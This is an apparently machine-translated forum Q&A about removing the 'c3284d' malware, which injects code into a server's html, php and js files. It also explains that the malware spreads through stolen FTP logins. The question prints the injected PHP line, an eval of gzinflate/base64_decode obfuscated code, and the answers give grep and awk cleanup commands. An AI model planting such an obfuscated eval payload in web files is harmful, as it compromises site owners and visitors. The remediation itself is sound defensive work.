干净的服务器感染c3284d病毒,使用search和replace

我与臭名昭着的c3284d病毒有关。 它修改了几乎所有可以find的html / php / js文件。

我已经更改了服务器上的所有密码和用户,所以如果这是一个被盗用的帐户,它应该已经解决了这个问题,但是我仍然在努力完全删除它。

我能够使用简单的sudo grep -R "#c3284d#" /home命令find所有受感染的文件。

但是我需要一个快速的方法来search和replace它。

病毒签名是这样的:

“#c3284d#” 回波(gzinflate(BASE64_DECODE( “VVHBboMwDL1X6j / kZtA6GKgMdaOVummHnfYB6xQFYkokmqSJS + nfD1hXbb7ZfvZ7fi585ZSlzXzWCcf4ka2ZNNXpgJqiyqEgfGtxzAJQtRMHhHAxn7EhuB6w4JG2RE6VJ0J4ns / 48ZPrrwC8q2DBoCGyT3HcoHBkamtajDRS3B / ayDYWwmki8nQZGtZ4RcpMa0XpTXtbeQWclaRm7CaPtv9LNgkrjZPoBlItOrUXZFx08ui2 + / EUpSX2H3UA8kHkIlmmZZ5lSZ5Kkad1nS9FIqo0S1YrCNkdS / 7parGmkfU + y1b5D / HNorNThAEUUnVMyfUOOJdOyG4HmyIeipvpxBt8j3S18 + XyLoNfNISRsBa1fG1UKwN + HIeK + Pqabw ==”))); “#/ c3284d#”

当回声线可以改变,但总是以#c32..#开始,并以#/c3....#

我只是想把它换成什么都没有。

 awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' dirty-file > clean-file 

这是一个满口,但它诀窍:

 $ cat <<'EOF' | awk 'BEGIN { clean=1 } /#c3284d#/ { clean=0 } /#\/c3284d#/ { clean=1 } { if (clean==1 && match($0,"#\/c3284d#") == 0) { print $0 } }' > foo > #c3284d# > bar > baz > #/c3284d# > quux > EOF foo quux 

查找所有受影响的文件的简单方法:

 grep -H -r "c3284d" /home/user 

此恶意软件代码来自受感染的客户端,它以明文形式存储FTP密码。 恶意软件能够抓取FTP登录,然后自动开始将广告代码注入到文件中。 绝对应该是一个完整的审计 – 但如果你很幸运,及时发现它可能不是来自服务器本身。